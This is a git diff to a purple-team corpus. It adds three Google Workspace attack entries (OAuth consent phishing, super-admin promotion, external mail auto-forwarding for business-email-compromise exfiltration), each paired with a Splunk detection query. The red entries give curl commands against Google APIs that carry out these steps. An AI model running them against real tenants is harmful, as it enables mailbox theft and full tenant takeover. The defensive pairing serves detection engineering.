diff --git a/CHANGELOG.md b/CHANGELOG.md index 25fe468..006b577 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,16 @@ GitHub Release; `sync-fanout.yml` then opens the Kali sync PR. ### Added +- **Google Workspace** platform (3 companion-only red↔blue pairs) — detections over the + Google Workspace admin/token/user audit logs (`product: google_workspace`, field + `eventName`): + - `gws-oauth-grant` ↔ `gws-oauth-audit` — consent-phish a malicious OAuth app into + Gmail/Drive scopes; detect token `authorize` (T1528). + - `gws-super-admin` ↔ `gws-admin-audit` — promote a controlled user to super admin; + detect `GRANT_DELEGATED_ADMIN_PRIVILEGES` / `ASSIGN_ROLE` (T1098.003). + - `gws-mail-forward` ↔ `gws-mail-forward-audit` — external auto-forwarding for BEC + exfil; detect `email_forwarding_out_of_domain` (T1114.003). + - **Snowflake data cloud** platform (3 companion-only red↔blue pairs) — mirrors the 2024 Snowflake credential-attack TTPs, detected via `ACCOUNT_USAGE.QUERY_HISTORY` (`product: snowflake`, `query_type`/`query_text`): @@ -98,7 +108,7 @@ GitHub Release; `sync-fanout.yml` then opens the Kali sync PR. - `gh-deploy-key-backdoor` ↔ `gh-cred-audit` — writable deploy key / fine-grained PAT for durable access; detect `repo.create_deploy_key` / `personal_access_token.access_granted` (T1098). -- Corpus is now 56 paired concepts + 1 unpaired recon entry. +- Corpus is now 59 paired concepts + 1 unpaired recon entry. ## [v1.4.0] - 2026-06-30 diff --git a/README.md b/README.md index 81b609d..e826c09 100644 --- a/README.md +++ b/README.md @@ -84,11 +84,12 @@ No mainstream tool ships attacks paired with the telemetry they trip. ## Corpus -56 paired concepts + 1 unpaired recon entry (SMB enum), spanning Credential +59 paired concepts + 1 unpaired recon entry (SMB enum), spanning Credential Access, Privilege Escalation, Lateral Movement, Persistence, Execution, Defense -Evasion, Exfiltration, and Discovery — on-prem AD, a multi-cloud slice (Entra/M365, -AWS, GCP), Kubernetes, Okta, CI/CD (GitHub Actions, GitLab, Jenkins), the Harbor -container registry, HashiCorp Vault, Terraform Cloud, and the Snowflake data cloud: +Evasion, Collection, Exfiltration, and Discovery — on-prem AD, a multi-cloud slice +(Entra/M365, AWS, GCP), Kubernetes, Okta, Google Workspace, CI/CD (GitHub Actions, +GitLab, Jenkins), the Harbor container registry, HashiCorp Vault, Terraform Cloud, +and the Snowflake data cloud: | Attack (red) | Detection (blue) | ATT&CK | | --------------------------------- | ----------------------------------------------------- | --------- | @@ -148,6 +149,9 @@ container registry, HashiCorp Vault, Terraform Cloud, and the Snowflake data clo | Data exfil via COPY INTO (Snowflake) | `QUERY_HISTORY` `QUERY_TYPE=UNLOAD` _(data)_ | T1567.002 | | Backdoor user + ACCOUNTADMIN (Snowflake) | `QUERY_HISTORY` `CREATE_USER`/priv `GRANT` _(data)_ | T1136.003 | | Network-policy tamper (Snowflake) | `QUERY_HISTORY` `NETWORK POLICY` change _(data)_ | T1562.007 | +| Illicit OAuth grant (Workspace) | token audit `authorize` _(cloud)_ | T1528 | +| Super-admin grant (Workspace) | admin audit `GRANT_DELEGATED_ADMIN_PRIVILEGES` _(cloud)_ | T1098.003 | +| External mail forwarding (Workspace) | audit `email_forwarding_out_of_domain` _(cloud)_ | T1114.003 | Growth is mechanical now that the drift gate exists: author the red+blue entry pair, mark the matching flat blocks, then `gen-views.sh`. For **on-prem** pairs the diff --git a/entries/blue/gws-admin-audit.md b/entries/blue/gws-admin-audit.md new file mode 100644 index 0000000..1f8fd20 --- /dev/null +++ b/entries/blue/gws-admin-audit.md @@ -0,0 +1,24 @@ +--- +id: gws-admin-audit +title: Detect admin-role grant (Google Workspace admin audit) +detection: gws-audit-log +event_ids: [] +attack: + tactic: TA0003 + techniques: [T1098.003] +source: Google Workspace persistence (admin-role grant) +pair: gws-super-admin +--- + +`GRANT_DELEGATED_ADMIN_PRIVILEGES` (made super admin) and `ASSIGN_ROLE` (privileged role +assigned) in the **admin** audit are the invariants. Admin grants are rare and +high-impact, so one by an unexpected actor — especially super-admin, or a grant that +quickly follows a new-user creation — is the persistence tell after a tenant compromise. +Reconcile admin changes against the IdM workflow and alert on any outside change control. + +Google Workspace audit-log telemetry, companion-only — `PURPLE-TEAM.md` is on-prem Windows. + +```spl +index=gws sourcetype=gws:reports:admin eventName IN (GRANT_DELEGATED_ADMIN_PRIVILEGES, ASSIGN_ROLE) +| table _time, actor.email, target_user, role_name, ipAddress +``` diff --git a/entries/blue/gws-mail-forward-audit.md b/entries/blue/gws-mail-forward-audit.md new file mode 100644 index 0000000..9c30ff5 --- /dev/null +++ b/entries/blue/gws-mail-forward-audit.md @@ -0,0 +1,24 @@ +--- +id: gws-mail-forward-audit +title: Detect external mail forwarding (Google Workspace audit) +detection: gws-audit-log +event_ids: [] +attack: + tactic: TA0009 + techniques: [T1114.003] +source: Google Workspace BEC (external auto-forwarding) +pair: gws-mail-forward +--- + +`email_forwarding_out_of_domain` is the invariant — a mailbox set to auto-forward outside +the org, the durable exfil channel behind most BEC. Enabling it is uncommon and rarely +legitimate for external destinations, so alert on any occurrence, prioritize forwarding to +new/free-mail domains, and pair with the admin setting that disables automatic external +forwarding org-wide. Also watch delegate-access and filter-create events for the same intent. + +Google Workspace audit-log telemetry, companion-only — `PURPLE-TEAM.md` is on-prem Windows. + +```spl +index=gws sourcetype=gws:reports:user_accounts eventName=email_forwarding_out_of_domain +| table _time, actor.email, forwarding_email, ipAddress +``` diff --git a/entries/blue/gws-oauth-audit.md b/entries/blue/gws-oauth-audit.md new file mode 100644 index 0000000..96c2708 --- /dev/null +++ b/entries/blue/gws-oauth-audit.md @@ -0,0 +1,24 @@ +--- +id: gws-oauth-audit +title: Detect illicit OAuth grant (Google Workspace token audit) +detection: gws-audit-log +event_ids: [] +attack: + tactic: TA0006 + techniques: [T1528] +source: Google Workspace consent-phishing (illicit OAuth grant) +pair: gws-oauth-grant +--- + +`eventName=authorize` in the **token** audit is the invariant. Most grants are for known +apps, so the signal is a first-seen/low-reputation `client_id` or `app_name`, a broad or +sensitive `scope` (`mail.google.com`, `drive`, `gmail.readonly`), or a burst of authorize +events across users (a campaign). Restrict third-party app access (allowlist Marketplace +apps, block unverified), and alert on new client IDs requesting mail/drive scopes. + +Google Workspace audit-log telemetry, companion-only — `PURPLE-TEAM.md` is on-prem Windows. + +```spl +index=gws sourcetype=gws:reports:token eventName=authorize +| table _time, actor.email, app_name, client_id, scope, ipAddress +``` diff --git a/entries/red/gws-mail-forward.md b/entries/red/gws-mail-forward.md new file mode 100644 index 0000000..1af4705 --- /dev/null +++ b/entries/red/gws-mail-forward.md @@ -0,0 +1,28 @@ +--- +id: gws-mail-forward +title: Google Workspace external mail forwarding (BEC exfil) +section: Google Workspace / identity +phase: Collection +attack: + tactic: TA0009 + techniques: [T1114.003] +platform: [gws] +source: Google Workspace BEC (external auto-forwarding) +pair: gws-mail-forward-audit +--- + +The BEC classic: on a compromised mailbox, add an **auto-forwarding** rule (or a filter) +that copies mail to an external address you control — a quiet, persistent exfil channel +that keeps leaking even after you lose the session. Enabling out-of-domain forwarding +writes an `email_forwarding_out_of_domain` event to the Gmail/user audit. (Cloud IdP — +no slots.) + +```sh +# register an external forwarding address, then turn on auto-forwarding to it (Gmail API) +curl -s -X POST "https://gmail.googleapis.com/gmail/v1/users/me/settings/forwardingAddresses" \ + -H "Authorization: Bearer " -H "Content-Type: application/json" \ + -d '{"forwardingEmail":""}' +curl -s -X PUT "https://gmail.googleapis.com/gmail/v1/users/me/settings/autoForwarding" \ + -H "Authorization: Bearer " -H "Content-Type: application/json" \ + -d '{"enabled":true,"emailAddress":"","disposition":"leaveInInbox"}' +``` diff --git a/entries/red/gws-oauth-grant.md b/entries/red/gws-oauth-grant.md new file mode 100644 index 0000000..d695dc6 --- /dev/null +++ b/entries/red/gws-oauth-grant.md @@ -0,0 +1,26 @@ +--- +id: gws-oauth-grant +title: Google Workspace malicious OAuth grant (consent phish) +section: Google Workspace / identity +phase: Credential Access +attack: + tactic: TA0006 + techniques: [T1528] +platform: [gws] +source: Google Workspace consent-phishing (illicit OAuth grant) +pair: gws-oauth-audit +--- + +The consent-phish: stand up a third-party OAuth app requesting Gmail/Drive scopes and +phish a user into authorizing it. Their click hands you a refresh token that reads mail +and files with no password and no MFA prompt — and it survives their password reset until +the grant is revoked. Google logs the consent in the **token** audit as `authorize` with +the `client_id`, `app_name`, and requested `scope`. (Cloud IdP — no on-host target, so no +slots.) + +```sh +# after the victim consents to the app's Gmail/Drive scopes, exchange the code for tokens +curl -s -X POST "https://oauth2.googleapis.com/token" \ + -d client_id= -d client_secret= -d grant_type=authorization_code \ + -d code= -d redirect_uri= +``` diff --git a/entries/red/gws-super-admin.md b/entries/red/gws-super-admin.md new file mode 100644 index 0000000..ef5b5c3 --- /dev/null +++ b/entries/red/gws-super-admin.md @@ -0,0 +1,26 @@ +--- +id: gws-super-admin +title: Google Workspace super-admin grant (tenant persistence) +section: Google Workspace / identity +phase: Persistence +attack: + tactic: TA0003 + techniques: [T1098.003] +platform: [gws] +source: Google Workspace persistence (admin-role grant) +pair: gws-admin-audit +--- + +After compromising an admin, promote your own account: flip a user to **super admin** (or +assign a privileged admin role) via the Admin SDK. That is durable, full-tenant control — +user/role management, security settings, every mailbox — surviving the victim admin's +password reset. Making a user super admin writes an **admin** audit event +(`GRANT_DELEGATED_ADMIN_PRIVILEGES`); a role assignment writes `ASSIGN_ROLE`. (Cloud IdP — +no slots.) + +```sh +# promote a controlled user to super admin via the Admin SDK Directory API +curl -s -X POST "https://admin.googleapis.com/admin/directory/v1/users//makeAdmin" \ + -H "Authorization: Bearer " -H "Content-Type: application/json" \ + -d '{"status": true}' +```